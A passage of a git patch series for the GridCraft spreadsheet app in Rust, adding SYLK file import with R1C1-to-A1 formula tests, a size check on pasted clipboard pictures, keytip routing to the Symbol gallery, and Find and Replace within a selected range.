assert_eq!(fmt("C3"), "General"); + assert_eq!(fmt("B5"), "yyyy\\-mm\\-dd"); + // Widths are in characters, like the Column Width dialog's. + let chars = |c: u32| gridcraft_model::points_to_chars(f64::from(sh.col_width(c))); + assert_eq!((chars(0), chars(1), chars(2)), (18.0, 9.0, 9.0)); + assert_eq!(sh.cols.get(&3).and_then(|i| i.size), None, "column D keeps the default width"); +} + +#[test] +fn sylk_r1c1_formulas_become_a1() { + let b2 = CellRef::parse("B2").unwrap(); + for (r1c1, a1) in [ + ("RC", "B2"), + ("R[1]C[-1]", "A3"), + ("R1C1:R2C2", "$A$1:$B$2"), + ("R3", "$3:$3"), + ("R1:R[2]", "$1:4"), + ("C[1]", "C:C"), + ("SUM(C3:C4)", "SUM($C:$D)"), + ("ROUND(RC[1],2)+RATE(1,2,3)", "ROUND(C2,2)+RATE(1,2,3)"), + ("'R1C1 sheet'!R1C1", "'R1C1 sheet'!$A$1"), + ("Sheet2!RC", "Sheet2!B2"), + ("R2D2+rc", "R2D2+B2"), + ("R[-5]C", "#REF!"), + ("\"RC\"&R1C1", "\"RC\"&$A$1"), + ] { + assert_eq!(sylk::r1c1_formula_to_a1(r1c1, b2), a1, "{r1c1}"); + } +} + +#[test] +fn sylk_rejects_other_files_and_survives_damage() { + assert!(open_bytes("not.slk", b"A,B\n1,2\n").is_err(), "a SYLK file starts with ID"); + // Positions off the sheet, broken numbers, a missing end and a format past the list. + let (wb, warnings) = + open_bytes("damaged.slk", b"ID;P\nC;Y0;X1;K1\nC;Y2;X99999;K2\nC;Y3;X1;K1e999\nF;P7;Y3;X1\nF;W5 2 9\nC;Y4;X1;K5;E(((\n").unwrap(); + let sh = wb.sheet(0).unwrap(); + assert_eq!(sh.cells.iter().count(), 2, "{:?}", sh.cells.iter().collect::>()); + assert_eq!(sh.value(CellRef::parse("A3").unwrap()), gridcraft_core::Value::Text("1e999".into())); + assert_eq!(warnings.len(), 1, "skipped records are reported: {warnings:?}"); +} diff --git a/docs/file-format-parity.md b/docs/file-format-parity.md index c4bc72bae..f117806a3 100644 --- a/docs/file-format-parity.md +++ b/docs/file-format-parity.md @@ -106,7 +106,8 @@ past the parser's limit, and a wrapper inside the text. **Saving writes the real | `.csv` UTF-8 / Windows / Mac / MS-DOS | R/W | yes (UTF-8 and UTF-16 BOMs, UTF-8, likely Windows-1256 Arabic detection, otherwise Windows-1252 fallback; delimiter detection; per-column day/month date-order detection for `/` and `-` dates) | yes (UTF-8 without BOM, CRLF) | Writes the **displayed** values like Excel (number formats applied, formula results, never column-width `#####`); `file.exportCsv {values: true}` writes raw values instead. No encoding choice on save. Re-import of a single-column export splits text (#127) A used range that would write more than 512 MiB (two far-apart cells span the whole rectangle) is refused with an error instead of being expanded (#528). | | `.txt` tab-delimited, Unicode text | R/W | yes (`.txt`, `.tsv`, `.tab`; likely Windows-1256 Arabic detection for invalid UTF-8; per-column day/month date-order detection for `/` and `-` dates) | yes (displayed values) | Text Import Wizard options partly via Text to Columns | | `.prn` formatted text (space-delimited) | R/W | no | no | | -| `.dif`, `.slk` (SYLK) | R/W | no | no | Small, legacy | +| `.slk` SYLK | R/W | **yes, partial** (#1481) | no (Save As `.xlsx`) | Values (numbers, text, booleans, errors), formulas converted from R1C1 to A1 as Excel does (relative and absolute references, ranges, whole rows and columns, shared formulas) with their cached results, number formats (`P`/`F;P`), column widths (`F;W`); the sheet is named after the file. Not read: fonts and cell styles, row heights, names, comments. Non-UTF-8 files are read as Latin-1 | engine `io/tests.rs` (`sylk_*`) | +| `.dif` Data Interchange Format | R/W | no | no | Small, legacy | | `.htm` / `.html` web page | R/W (Windows) | yes, via Get Data ▸ From HTML | yes (one sheet as a table; a used range taller than 100,001 rows fails with an error instead of being cut short) | Formatting not exported. A sheet with pictures or charts is written with the sheet's own column widths and row heights, a picture as a `data:` URI `` and a chart as inline SVG, each placed at its anchor; shapes, text boxes and comments are not exported | | `.mht` / `.mhtml` single-file web page | R/W (Windows) | no | no | | | `.json` | via Power Query | GridCraft's own workbook JSON (debug) and JSON import | GridCraft JSON | Not Power Query's JSON shaping; notes and hyperlinks break export (#126) | @@ -148,13 +149,14 @@ refresh. Counted under features (Get & Transform, ~10% ready), not here. | Legacy `.xls` (BIFF8): exact theme colours (XFExt), comments, CF, validation, pictures and charts on import; corpus run; then write | 10–15 | | Encrypted workbooks: save with password (#11) | 4–6 | | XLSB and ODS: formulas and formatting on import; then write | 10–15 | -| CSV/text: encoding choice, `.prn`, `.dif`, `.slk`, XML Spreadsheet 2003 | 4–7 | +| CSV/text: encoding choice, `.prn`, `.dif`, XML Spreadsheet 2003 | 4–7 | | PDF: embed subsetted system fonts so every script exports | (counted in [localization](localization-parity.md) script work) | ## Revision history | Date | Change | Summary | |---|---|---| +| 2026-11-03 | minor | SYLK (`.slk`) import: values, R1C1 formulas as A1 (shared formulas too) with cached results, number formats and column widths; import only (#1481) | | 2026-11-02 | minor | Python cells: `.xlsx` reads and writes `_xlfn._xlws.PY(i,0 or 1)` with the code in the Python part (and reads the string-literal form) with cached values and spills, other formats adopt PY formulas, GridCraft JSON keeps the whole cell, and opening limits code size, result size and spill ranges | | 2026-11-02 | trivial | An equation without Office Math takes its stored source only while its text, paragraphs included, is what the writer wrote for it; a paragraph split that changes no character reads back as a text box with the split text | | 2026-11-02 | trivial | Each equation box carries the marker of its own body in its description, the Office Math box and the plain-text fallback alike, and the reader takes the stored source only while the body it reads matches the marker: the text of an equation without Office Math that another application edited reads back as a text box with the edited text instead of the stale source | diff --git a/docs/gaps.md b/docs/gaps.md index de725fb4c..8879e967d 100644 --- a/docs/gaps.md +++ b/docs/gaps.md @@ -157,7 +157,7 @@ No alpha blockers: every core workflow passes the [alpha gate](roadmap.md#alpha- [ui-parity.md](ui-parity.md#accessibility) ### 19. XLSB/ODS beyond values; minor formats (FF) -- XLSB and ODS import values only, no write; no `.prn`, `.dif`, `.slk`, XML Spreadsheet 2003; CSV +- XLSB and ODS import values only, no write; no `.prn`, `.dif`, XML Spreadsheet 2003 (`.slk` imports values, formulas, number formats and widths); CSV writes raw instead of displayed values; templates saved with the workbook content type. **Estimate:** 15–23 h. From e56a722bb4751089d34b3b750802f75f0211ea5b Mon Sep 17 00:00:00 2001 From: adifiedio Date: Tue, 3 Nov 2026 14:25:14 +0530 Subject: [PATCH 106/167] Clipboard: refuse oversized pasted pictures before copying their pixels; document paste as desktop-only (#699) --- crates/ui-egui/src/app/clipboard.rs | 19 +++++++++++++++---- crates/ui-egui/tests/it/clipboard.rs | 9 +++++++++ docs/cell-pictures.md | 3 ++- docs/ui-parity.md | 2 +- 4 files changed, 27 insertions(+), 6 deletions(-) diff --git a/crates/ui-egui/src/app/clipboard.rs b/crates/ui-egui/src/app/clipboard.rs index 3ef59a8af..4b7cc74d9 100644 --- a/crates/ui-egui/src/app/clipboard.rs +++ b/crates/ui-egui/src/app/clipboard.rs @@ -74,8 +74,13 @@ impl SheetApp { /// Cmd/Ctrl+V with a picture and no text on the clipboard (egui's `Event::PasteImage`). pub fn paste_color_image(&mut self, image: &egui::ColorImage) { let [w, h] = image.size; + // A side too large for u32 is too large to paste; check before copying the pixels. + let (w, h) = (u32::try_from(w).unwrap_or(u32::MAX), u32::try_from(h).unwrap_or(u32::MAX)); + if let Err(e) = check_picture_size(w, h) { + return self.alert(e); + } let rgba = image.pixels.iter().flat_map(|c| c.to_srgba_unmultiplied()).collect(); - match u32::try_from(w).ok().zip(u32::try_from(h).ok()).and_then(|(w, h)| image::RgbaImage::from_raw(w, h, rgba)) { + match image::RgbaImage::from_raw(w, h, rgba) { Some(image) => self.paste_picture(image), None => self.alert("The picture on the clipboard can't be read.".into()), } @@ -104,15 +109,21 @@ impl SheetApp { const MAX_PICTURE_SIDE: u32 = 16_384; const MAX_PICTURE_PIXELS: u64 = 64 * 1024 * 1024; -/// PNG bytes of a clipboard picture, refusing sizes that would exhaust memory. -fn encode_png(image: &image::RgbaImage) -> Result, String> { - let (w, h) = image.dimensions(); +/// Refuse empty clipboard pictures and sizes that would exhaust memory. +fn check_picture_size(w: u32, h: u32) -> Result<(), String> { if w == 0 || h == 0 { return Err("The picture on the clipboard is empty.".into()); } if w > MAX_PICTURE_SIDE || h > MAX_PICTURE_SIDE || u64::from(w) * u64::from(h) > MAX_PICTURE_PIXELS { return Err("The picture on the clipboard is too large to paste.".into()); } + Ok(()) +} + +/// PNG bytes of a clipboard picture, refusing sizes that would exhaust memory. +fn encode_png(image: &image::RgbaImage) -> Result, String> { + let (w, h) = image.dimensions(); + check_picture_size(w, h)?; let mut png = Vec::new(); image .write_to(&mut std::io::Cursor::new(&mut png), image::ImageFormat::Png) diff --git a/crates/ui-egui/tests/it/clipboard.rs b/crates/ui-egui/tests/it/clipboard.rs index ee52dc162..38c6ea259 100644 --- a/crates/ui-egui/tests/it/clipboard.rs +++ b/crates/ui-egui/tests/it/clipboard.rs @@ -522,6 +522,15 @@ fn a_malformed_clipboard_picture_is_refused_without_inserting() { h.input_mut().events.push(Event::PasteImage(std::sync::Arc::new(egui::ColorImage::new([0, 0], Vec::new())))); h.run_steps(2); assert!(pictures(&h).is_empty()); + + // Wider than the 16384-pixel limit: refused before its pixels are copied. + dismiss(&mut h); + let wide = egui::ColorImage::new([20_000, 1], vec![egui::Color32::WHITE; 20_000]); + h.input_mut().events.push(Event::PasteImage(std::sync::Arc::new(wide))); + h.run_steps(2); + assert!(pictures(&h).is_empty()); + let message = format!("{:?}", h.state().message); + assert!(message.contains("too large"), "{message}"); } #[test] diff --git a/docs/cell-pictures.md b/docs/cell-pictures.md index 1257476c5..0803128a4 100644 --- a/docs/cell-pictures.md +++ b/docs/cell-pictures.md @@ -19,7 +19,8 @@ The command API accepts the same placement: This initial feature handles static pictures. A picture on the operating system's clipboard (a screenshot, an image copied in a browser) pastes with Cmd/Ctrl+V or Paste as a floating picture -at the active cell, as in Excel. Pasting it into a cell, converting between floating and cell +at the active cell, as in Excel (desktop builds only: the web build's paste receives clipboard +text alone, so a picture with no text pastes nothing there). Pasting it into a cell, converting between floating and cell pictures, and the `IMAGE()` function remain separate work. Formula references and arithmetic do not carry pictures: the calculation engine uses a `#VALUE!` fallback, including when a picture is referenced from another cell. Text-only exports also use that fallback. The picture cell still counts as occupied and diff --git a/docs/ui-parity.md b/docs/ui-parity.md index 76ecc39e0..ae2bf9db6 100644 --- a/docs/ui-parity.md +++ b/docs/ui-parity.md @@ -308,7 +308,7 @@ scrollbar bugs 2–4 · pixel/feel pass against observed Excel 7–12. | 2026-10-12 | minor | Ctrl+wheel zoom steps along a ladder of percentages about 20% apart that never skips 100%, gliding to each step with animations on, so a notch out undoes a notch in (it drifted: 100 → 122 → 101); Excel steps 15 points, see decisions.md | | 2026-10-12 | minor | Page Layout view: left/right/top/bottom margins are dragged on the rulers (#792) | | 2026-10-12 | minor | Alt+Down opens the active filter header's existing popup, with validation priority and mirrored anchoring on right-to-left sheets (part of #441) | -| 2026-11-03 | minor | A picture on the system clipboard (a screenshot, an image copied in a browser or an image editor) pastes with Cmd/Ctrl+V, the ribbon's Paste and the Paste menu items as a floating picture whose top-left corner is the active cell, as Excel does; text on the clipboard still wins. Oversized or malformed pictures are refused with a message (#699, #3018, #3182) | +| 2026-11-03 | minor | A picture on the system clipboard (a screenshot, an image copied in a browser or an image editor) pastes with Cmd/Ctrl+V, the ribbon's Paste and the Paste menu items as a floating picture whose top-left corner is the active cell, as Excel does; text on the clipboard still wins. Desktop only: the web build's paste receives clipboard text alone. Oversized or malformed pictures are refused with a message (#699, #3018, #3182) | | 2026-10-12 | minor | Paste from the ribbon (button and options menu), the cell and header context menus and the macOS menu bar's Edit menu pastes what is on the system clipboard, as Cmd/Ctrl+V does, instead of only GridCraft's own copy (the web build, which can't read the clipboard on request, still pastes GridCraft's copy). Copy and Cut by keytip (H,C / H,X) publish to the system clipboard like the ribbon buttons. After a control-channel or MCP copy, which leaves the system clipboard alone, Paste pastes that copy until other text is copied. Once a cut has been pasted, Paste (ribbon, menus or Cmd/Ctrl+V) doesn't paste the cut's clipboard text again over the moved cells (Excel pastes a cut once), and the Paste keytip (H,V,P) pastes the system clipboard like the button. Regression test for the Paste button click freeze in 0.5.0 (#273, fixed by #272); the Paste button gets an accessible "Paste" name for screen readers | | 2026-10-11 | minor | Ribbon: scroll arrows on a tab wider than the window, Formulas › AutoSum as a split button with its function menu, View › Show in two columns so Headings is no longer cut off | | 2026-10-11 | minor | Theme tokens for icon, reference, on-accent and sheet-control colours; WCAG 2 contrast test over both themes (dark danger red and selected header text adjusted) | From 6fcb94f7e3873be4136cb38e219f99f03bd654ac Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 03:03:58 -0600 Subject: [PATCH 107/167] #941: Alt+I, S opens the Symbol gallery instead of re-setting the active cell Addresses CodeRabbit review on #3250, "Open a symbol picker instead of re-parsing the cell": the legacy key ran insert.symbol with no symbol, which set the active cell to its own text again (re-reading it: text could turn into a number, a Python cell lost its code). It now routes to the ribbon's Symbol control: a control key tip whose control is on another tab shows that tab first and hands the request to the next frame, when the control is drawn, and the Symbol button opens its gallery on its key tip. Nothing is inserted until a symbol is picked. Test: legacy_keytips::alt_i_s_opens_the_symbol_gallery_and_leaves_the_cell_alone (keytips regenerated with cargo xtask keytips). Co-Authored-By: Claude Opus 5.5 --- crates/ui-egui/src/app.rs | 5 +-- crates/ui-egui/src/app/keys.rs | 13 +++++++- .../src/keytips/keytip_table/generated.rs | 2 +- crates/ui-egui/src/keytips/keytips.json | 2 +- crates/ui-egui/src/lib.rs | 5 +++ crates/ui-egui/src/ribbon/insert.rs | 4 ++- crates/ui-egui/tests/it/keytips_generated.rs | 3 +- crates/ui-egui/tests/it/legacy_keytips.rs | 33 +++++++++++++++++++ crates/ui-egui/tests/it/main.rs | 1 + 9 files changed, 61 insertions(+), 7 deletions(-) create mode 100644 crates/ui-egui/tests/it/legacy_keytips.rs diff --git a/crates/ui-egui/src/app.rs b/crates/ui-egui/src/app.rs index 9d190083e..762a8c704 100644 --- a/crates/ui-egui/src/app.rs +++ b/crates/ui-egui/src/app.rs @@ -107,8 +107,9 @@ impl SheetApp { pub fn logic(&mut self, ctx: &egui::Context) { self.ensure_text_width(ctx); // A keytip control request lives one frame: the ribbon consumes it during `ui`, and - // anything that never reached a control (collapsed ribbon, tab switch) is dropped. - self.ui.keytip_invoke = None; + // anything that never reached a control (collapsed ribbon, tab switch) is dropped. One + // made with a switch to the control's tab waits for the frame that draws that tab. + self.ui.keytip_invoke = self.ui.keytip_invoke_next.take(); // Floating pictures' textures go with their workbook, even when no sheet is painted. let open: Vec = self.session.documents().iter().map(|d| d.uid).collect(); floating_pictures::forget_closed(ctx, &open); diff --git a/crates/ui-egui/src/app/keys.rs b/crates/ui-egui/src/app/keys.rs index 3490bd01c..b490d8557 100644 --- a/crates/ui-egui/src/app/keys.rs +++ b/crates/ui-egui/src/app/keys.rs @@ -59,7 +59,18 @@ impl SheetApp { // Route to the ribbon control that owns this keytip: it opens its dropdown or // runs its click handler with the right params (the engine command alone would // be missing them). - keytips::Action::Control(id) => self.ui.keytip_invoke = Some(id), + // + // A control on another tab (a legacy menu key such as Alt+I, S for the Symbol + // gallery) shows its tab first, so the control is drawn and takes the request. + keytips::Action::Control(id) => { + if let Some(tab) = gridcraft_engine::find_command(id).and_then(|c| c.menu.first()).filter(|t| **t != self.ui.ribbon_tab) { + self.run_or_alert("ui.ribbonTab", json!({"tab": tab})); + self.ui.ribbon_collapsed = false; + self.ui.keytip_invoke_next = Some(id); + } else { + self.ui.keytip_invoke = Some(id); + } + } } } } diff --git a/crates/ui-egui/src/keytips/keytip_table/generated.rs b/crates/ui-egui/src/keytips/keytip_table/generated.rs index c3a343671..6c397f26c 100644 --- a/crates/ui-egui/src/keytips/keytip_table/generated.rs +++ b/crates/ui-egui/src/keytips/keytip_table/generated.rs @@ -378,7 +378,7 @@ pub const SEQUENCES: &[(&str, Entry)] = &[ ("IW", Entry::Finish(Action::Command("home.insertSheet"))), // Excel: Insert > Worksheet; Legacy Excel 2003 menu path (#941). ("IF", Entry::Finish(Action::Dialog("insertFunction"))), // Excel: Insert > Function; Legacy Excel 2003 menu path (#941). ("IND", Entry::Finish(Action::Dialog("defineName"))), // Excel: Insert > Name > Define; Legacy Excel 2003 menu path (#941). - ("IS", Entry::Finish(Action::Command("insert.symbol"))), // Excel: Insert > Symbol; Legacy Excel 2003 menu path (#941). + ("IS", Entry::Finish(Action::Control("insert.symbol"))), // Excel: Insert > Symbol; Legacy Excel 2003 menu path (#941). ("ED", Entry::Finish(Action::Dialog("deleteCells"))), // Excel: Edit > Delete; Legacy Excel 2003 menu path (#941). ("EM", Entry::Finish(Action::Dialog("moveSheet"))), // Excel: Edit > Move or Copy Sheet; Legacy Excel 2003 menu path (#941). ("EL", Entry::Finish(Action::Command("home.deleteSheet"))), // Excel: Edit > Delete Sheet; Legacy Excel 2003 menu path (#941). diff --git a/crates/ui-egui/src/keytips/keytips.json b/crates/ui-egui/src/keytips/keytips.json index 5c96d1d9f..174d519eb 100644 --- a/crates/ui-egui/src/keytips/keytips.json +++ b/crates/ui-egui/src/keytips/keytips.json @@ -2626,7 +2626,7 @@ }, { "seq": "IS", - "kind": "command", + "kind": "control", "target": "insert.symbol", "excel": "Insert > Symbol", "note": "Legacy Excel 2003 menu path (#941)." diff --git a/crates/ui-egui/src/lib.rs b/crates/ui-egui/src/lib.rs index 95f861f14..a0637d966 100644 --- a/crates/ui-egui/src/lib.rs +++ b/crates/ui-egui/src/lib.rs @@ -102,6 +102,10 @@ pub struct UiState { /// [`keytips::Action::Control`], consumed (and cleared) by the control's render site. #[serde(skip)] pub keytip_invoke: Option<&'static str>, + /// A keytip control request for the next frame: its tab was switched to this frame, so its + /// control is drawn only then. + #[serde(skip)] + pub keytip_invoke_next: Option<&'static str>, /// Interface language. English by default (so tests and headless renders never depend on the /// host's locale); the desktop app starts from [`i18n::Language::system`] when `ui.json` has /// no usable language (see [`i18n::saved_language`]). An unknown saved value reads as English @@ -143,6 +147,7 @@ impl Default for UiState { autosave: false, recent: vec![], keytip_invoke: None, + keytip_invoke_next: None, language: i18n::Language::En, interface_scale: 100, } diff --git a/crates/ui-egui/src/ribbon/insert.rs b/crates/ui-egui/src/ribbon/insert.rs index 595b74657..c347c896a 100644 --- a/crates/ui-egui/src/ribbon/insert.rs +++ b/crates/ui-egui/src/ribbon/insert.rs @@ -213,7 +213,9 @@ pub(super) fn insert(app: &mut SheetApp, ui: &mut Ui) { }); let sym = big_button(ui, Icon::Symbol, "Symbol", "Symbol", true); control_keytip(app, ui, &sym, "insert.symbol"); - egui::Popup::menu(&sym).show(|ui| { + // Opened by its key tip too (Alt+I, S): the gallery picks the symbol, nothing is inserted before. + let forced = invoke(app, "insert.symbol"); + egui::Popup::menu(&sym).open_memory(popup_command(forced, sym.clicked())).show(|ui| { ui.set_width(260.0); ui.horizontal_wrapped(|ui| { for ch in [ diff --git a/crates/ui-egui/tests/it/keytips_generated.rs b/crates/ui-egui/tests/it/keytips_generated.rs index 976e1fdbf..600a36319 100644 --- a/crates/ui-egui/tests/it/keytips_generated.rs +++ b/crates/ui-egui/tests/it/keytips_generated.rs @@ -2800,7 +2800,8 @@ fn keytip_ind_() { fn keytip_is_() { let mut h = harness(blank()); sequence(&mut h, "IS", false); - assert!(h.state().session.journal.iter().any(|(id, _)| id == "insert.symbol"), "IS must journal insert.symbol"); + assert!(h.state().message.is_none() && h.state().toast.is_none(), "IS must route to its control without an error box"); + assert_eq!(h.state().keytips.prefix(), None); } #[test] diff --git a/crates/ui-egui/tests/it/legacy_keytips.rs b/crates/ui-egui/tests/it/legacy_keytips.rs new file mode 100644 index 000000000..fa6ca37ed --- /dev/null +++ b/crates/ui-egui/tests/it/legacy_keytips.rs @@ -0,0 +1,33 @@ +//! Excel 2003 menu access keys that open a ribbon control rather than run a command (#941). + +use egui::os::OperatingSystem; +use egui::{Event, Key, Modifiers}; +use egui_kittest::kittest::Queryable as _; +use gridcraft_engine::Session; +use gridcraft_ui_egui::SheetApp; +use serde_json::json; + +fn press(h: &mut egui_kittest::Harness<'static, SheetApp>, key: Key) { + let ev = |pressed| Event::Key { key, physical_key: None, pressed, repeat: false, modifiers: Modifiers::NONE }; + h.input_mut().events.extend([ev(true), Event::Text(key.name().to_ascii_lowercase()), ev(false)]); + h.run_steps(2); +} + +#[test] +fn alt_i_s_opens_the_symbol_gallery_and_leaves_the_cell_alone() { + // Insert > Symbol picks a symbol; running insert.symbol with no symbol set the active cell + // to its own text again, re-reading it (a Python cell lost its code, text could turn into a + // number). From the Home tab the keys show the Insert tab's gallery instead. + let mut s = Session::new(); + s.new_workbook(); + s.execute("cell.set", json!({"cell": "A1", "input": "'007"})).unwrap(); + let mut h = crate::common::os_harness(s, OperatingSystem::Nix); + h.run_steps(4); + for key in [Key::F10, Key::I, Key::S] { + press(&mut h, key); + } + h.run_steps(4); + assert!(!h.state().session.journal.iter().any(|(id, _)| id == "insert.symbol"), "nothing is inserted until a symbol is picked"); + assert_eq!(h.state().ui.ribbon_tab, "Insert"); + assert!(h.query_by_label("€").is_some(), "the Symbol gallery is open"); +} diff --git a/crates/ui-egui/tests/it/main.rs b/crates/ui-egui/tests/it/main.rs index f1240dcd6..eedef2148 100644 --- a/crates/ui-egui/tests/it/main.rs +++ b/crates/ui-egui/tests/it/main.rs @@ -63,6 +63,7 @@ mod interaction; mod interface_scale; mod keyboard_shortcuts; mod keytips_generated; +mod legacy_keytips; mod macro_editor; mod macros_ui; mod menu_hover; From 3c72d5f7aa09bbbf91042a46057991b3378952c1 Mon Sep 17 00:00:00 2001 From: Hector Villarreal Date: Tue, 3 Nov 2026 03:05:18 -0600 Subject: [PATCH 108/167] #3224: Find and Replace within the selected range edit.find and edit.replace take within: selection, which searches only the selected cells; Find Next then moves the active cell through them and keeps the range selected, as Excel does. The Find and Replace dialog uses it whenever more than one cell is selected (Excel searches a selected range; one selected cell still means the whole sheet). Co-Authored-By: Claude Opus 5.5 --- crates/engine/src/cmd/edit.rs | 4 +-- crates/engine/src/cmd/edit/find.rs | 13 +++++++-- crates/engine/src/cmd/edit/tests.rs | 28 ++++++++++++++++++++ crates/ui-egui/src/dialogs/find.rs | 11 +++++++- crates/ui-egui/tests/it/find_dialog_focus.rs | 24 +++++++++++++++++ docs/ui-parity.md | 1 + 6 files changed, 76 insertions(+), 5 deletions(-) diff --git a/crates/engine/src/cmd/edit.rs b/crates/engine/src/cmd/edit.rs index 2aa9d8fe3..a863fcc74 100644 --- a/crates/engine/src/cmd/edit.rs +++ b/crates/engine/src/cmd/edit.rs @@ -126,13 +126,13 @@ pub fn specs() -> Vec { fill_series ), cmd!("edit.flashFill", "Flash Fill", ["Home", "Editing", "Fill"], Some("Ctrl+E"), "{range?}", has_doc, flash_fill), - cmd!(noundo "edit.find", "Find…", ["Home", "Editing", "Find & Select"], Some("Cmd+F"), "{what, matchCase?, wholeCell?, lookIn?: formulas|values, byColumns?, all?: bool, within?: sheet|workbook}", has_doc, find), + cmd!(noundo "edit.find", "Find…", ["Home", "Editing", "Find & Select"], Some("Cmd+F"), "{what, matchCase?, wholeCell?, lookIn?: formulas|values, byColumns?, all?: bool, within?: sheet|workbook|selection} (selection: only the selected cells; Find Next keeps them selected and moves the active cell)", has_doc, find), cmd!( "edit.replace", "Replace…", ["Home", "Editing", "Find & Select"], Some("Ctrl+H"), - "{what, with, matchCase?, wholeCell?, all?: true, within?: sheet|workbook} → {replaced, skipped?} (in a Python cell the code is edited; skipped counts Python cells whose code would no longer fit)", + "{what, with, matchCase?, wholeCell?, all?: true, within?: sheet|workbook|selection} → {replaced, skipped?} (in a Python cell the code is edited; skipped counts Python cells whose code would no longer fit)", has_doc, replace ), diff --git a/crates/engine/src/cmd/edit/find.rs b/crates/engine/src/cmd/edit/find.rs index 0d4656320..ddb9ecaf7 100644 --- a/crates/engine/src/cmd/edit/find.rs +++ b/crates/engine/src/cmd/edit/find.rs @@ -62,6 +62,8 @@ pub(super) fn find(s: &mut Session, p: &Json) -> Result { let by_cols = bool_param(p, "byColumns").unwrap_or(false); let all = bool_param(p, "all").unwrap_or(false); let workbook = str_param(p, "within") == Some("workbook"); + // `selection`: only the selected cells of the active sheet, as Excel searches a selected range. + let in_selection = str_param(p, "within") == Some("selection"); s.last_find = Some(p.clone()); let d = s.doc()?; let sheets: Vec = if workbook { (0..d.wb.sheets.len()).collect() } else { vec![d.wb.active_sheet()] }; @@ -71,6 +73,7 @@ pub(super) fn find(s: &mut Session, p: &Json) -> Result { let mut cells: Vec<(CellRef, String)> = sh .cells .iter() + .filter(|(c, _)| !in_selection || d.selection.contains(*c)) .filter_map(|(c, cell)| { let text = if values || cell.formula.is_none() || crate::display::formula_hidden(&d.wb, sh, c) { crate::display::cell_text(&d.wb, sh, c) @@ -100,7 +103,12 @@ pub(super) fn find(s: &mut Session, p: &Json) -> Result { let Some((si, c, t)) = next else { return Err(EngineError::Other("not found".into())) }; let dd = s.doc_mut()?; dd.wb_switch_sheet(si); - dd.selection = crate::Selection::at(c); + if in_selection { + // The range stays selected and the active cell moves through it, as in Excel. + dd.selection.active = c; + } else { + dd.selection = crate::Selection::at(c); + } Ok(json!({"cell": c.a1(), "sheet": si, "value": t, "count": hits.len()})) } @@ -114,6 +122,7 @@ pub(super) fn replace(s: &mut Session, p: &Json) -> Result { let whole = bool_param(p, "wholeCell").unwrap_or(false); let all = bool_param(p, "all").unwrap_or(true); let workbook = str_param(p, "within") == Some("workbook"); + let selection = (str_param(p, "within") == Some("selection")).then(|| s.doc().map(|d| d.selection.clone())).transpose()?; let active = s.doc()?.selection.active; let mut skipped = 0usize; let n = edit(s, |cx| { @@ -123,7 +132,7 @@ pub(super) fn replace(s: &mut Session, p: &Json) -> Result { let cells: Vec<(CellRef, String)> = cx.wb.sheet(si).map(|sh| sh.cells.iter().map(|(c, _)| (c, sh.input_text(c))).collect()).unwrap_or_default(); for (c, text) in cells { - if !all && c != active { + if (!all && c != active) || selection.as_ref().is_some_and(|sel| !sel.contains(c)) { continue; } if !matches(&text, &what, case, whole) { diff --git a/crates/engine/src/cmd/edit/tests.rs b/crates/engine/src/cmd/edit/tests.rs index 3f3a2fb6d..10ee22bbe 100644 --- a/crates/engine/src/cmd/edit/tests.rs +++ b/crates/engine/src/cmd/edit/tests.rs @@ -371,3 +371,31 @@ fn replace_case_insensitive_keeps_text_when_folding_moves_boundaries() { let sh = s.doc().unwrap().wb.active().unwrap(); assert_eq!(sh.value(CellRef::new(0, 0)), Value::text(text)); } + +/// `within: selection` searches only the selected cells, as Excel does with a range selected +/// (#3224): Find All lists them, Find Next moves the active cell through them and keeps the range +/// selected, and Replace changes only them. +#[test] +fn find_and_replace_within_the_selection() { + let mut s = Session::new(); + s.new_workbook(); + s.execute("range.setValues", json!({"range": "A1:B4", "values": [["pear", "pear"], ["plum", "pear"], ["pear", "fig"], ["pear", "pear"]]})) + .unwrap(); + s.execute("selection.set", json!({"range": "B1:B4"})).unwrap(); + let all = s.execute("edit.find", json!({"what": "pear", "all": true, "within": "selection"})).unwrap(); + let cells: Vec<&str> = all["results"].as_array().unwrap().iter().filter_map(|r| r["cell"].as_str()).collect(); + assert_eq!(cells, ["B1", "B2", "B4"], "only column B"); + assert_eq!(s.execute("edit.find", json!({"what": "pear", "within": "selection"})).unwrap()["cell"], "B2"); + assert_eq!(s.execute("edit.find", json!({"what": "pear", "within": "selection"})).unwrap()["cell"], "B4"); + assert_eq!(s.execute("edit.find", json!({"what": "pear", "within": "selection"})).unwrap()["cell"], "B1", "wraps inside the range"); + let sel = &s.doc().unwrap().selection; + assert_eq!((sel.a1(), sel.active.a1()), ("B1:B4".to_string(), "B1".to_string()), "the range stays selected"); + assert!(s.execute("edit.find", json!({"what": "plum", "within": "selection"})).is_err(), "A2 is outside the range"); + assert_eq!(s.execute("edit.replace", json!({"what": "pear", "with": "kiwi", "within": "selection"})).unwrap()["replaced"], 3); + let sh = s.doc().unwrap().wb.active().unwrap(); + let at = |a: &str| sh.value(CellRef::parse(a).unwrap()); + assert_eq!((at("A1"), at("B1"), at("B4"), at("A4")), (Value::text("pear"), Value::text("kiwi"), Value::text("kiwi"), Value::text("pear"))); + // The sheet scope is unchanged. + let all = s.execute("edit.find", json!({"what": "pear", "all": true})).unwrap(); + assert_eq!(all["count"], 3, "A1, A3 and A4 on the whole sheet"); +} diff --git a/crates/ui-egui/src/dialogs/find.rs b/crates/ui-egui/src/dialogs/find.rs index c1401d554..fe7f8ad6c 100644 --- a/crates/ui-egui/src/dialogs/find.rs +++ b/crates/ui-egui/src/dialogs/find.rs @@ -40,7 +40,16 @@ pub(super) fn find(app: &mut SheetApp, ui: &mut egui::Ui, d: &mut Dialog) { d.values.insert("matchCase".into(), json!(case)); d.values.insert("wholeCell".into(), json!(whole)); d.values.insert("within".into(), json!(if wb { "workbook" } else { "sheet" })); - let base = json!({"what": what, "matchCase": case, "wholeCell": whole, "within": if wb { "workbook" } else { "sheet" }}); + // As in Excel, a selected range (more than one cell) limits the search on the sheet to it. + let range_selected = app.session.active().is_some_and(|doc| !doc.selection.is_single_cell()); + let within = if wb { + "workbook" + } else if range_selected { + "selection" + } else { + "sheet" + }; + let base = json!({"what": what, "matchCase": case, "wholeCell": whole, "within": within}); ui.horizontal(|ui| { if d.tab == "Replace" { if ui.button("Replace All").clicked() { diff --git a/crates/ui-egui/tests/it/find_dialog_focus.rs b/crates/ui-egui/tests/it/find_dialog_focus.rs index a774a431b..a66bb7acb 100644 --- a/crates/ui-egui/tests/it/find_dialog_focus.rs +++ b/crates/ui-egui/tests/it/find_dialog_focus.rs @@ -34,3 